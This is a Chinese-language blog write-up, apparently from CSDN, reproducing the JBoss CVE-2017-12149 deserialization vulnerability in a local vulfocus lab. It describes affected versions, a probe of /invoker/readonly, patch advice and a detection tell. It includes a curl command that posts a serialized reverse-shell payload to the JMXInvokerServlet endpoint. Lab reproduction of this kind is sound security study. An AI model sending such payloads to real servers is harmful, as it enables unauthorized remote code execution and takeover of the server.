JBoss 5.x/6.x 反序列化 CVE-2017-12149 已亲自复现

JBoss 5.x/6.x 反序列化 CVE-2017-12149 已亲自复现

漏洞名称

漏洞描述

2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

在 Red Hat Enterprise Application Platform 5.2 附带的 Jboss Application Server 中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中 doFilter 方法没有限制其执行反序列化的类,从而允许攻击者通过精心设计的序列化数据执行任意代码。

影响版本

Red Hat JBoss Enterprise Application Platform 5.0.0
Red Hat JBoss Enterprise Application Platform 5.0.1
Red Hat JBoss Enterprise Application Platform 5.1.0
Red Hat JBoss Enterprise Application Platform 5.1.1
Red Hat JBoss Enterprise Application Platform 5.1.2
Red Hat JBoss Enterprise Application Platform 5.2.0
Red Hat JBoss Enterprise Application Platform 5.2.1
Red Hat JBoss Enterprise Application Platform 5.2.2

漏洞复现

环境搭建

受害者IP:192.168.63.129:30678
攻击者IP:192.168.63.1

vulfocus下载链接

https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git

启动vulfocus

docker-compose up -d 

环境启动后,访问http://192.168.63.129:30678即可看到一个jboss页面,说明已成功启动。

在这里插入图片描述

访问 JBoss漏洞页面,http://192.168.63.129:30678/invoker/readonly。如返回 HTTP Status 500,表示存在漏洞。

在这里插入图片描述

漏洞利用

生成payload的语法和顺序就不写了,快写吐了,看下面的文章,一样的payload。

https://blog.csdn.net/qq_42430287/article/details/135160729

在这里插入图片描述
执行curl命令,进行反弹shell。与前面不同的是,这里执行curl命令后,返回500状态码和错误信息。

curl http://192.168.63.129:30678/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

修复建议

Red Hat JBoss Enterprise Application Platform远程代码执行漏洞—联系厂商更新产品至版本>5.2.2
补丁链接:https://www.redhat.com/en/technologies/jboss-middleware/application-platform

总结

在http://192.168.63.129:30678/invoker/readonly页面时,返回500状态码,返回java.io.EOFException异常信息。
在攻击成功后,返回状态码为500,抛出ava.lang.ClassCastException异常信息。两次异常信息不同,可作为判断点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值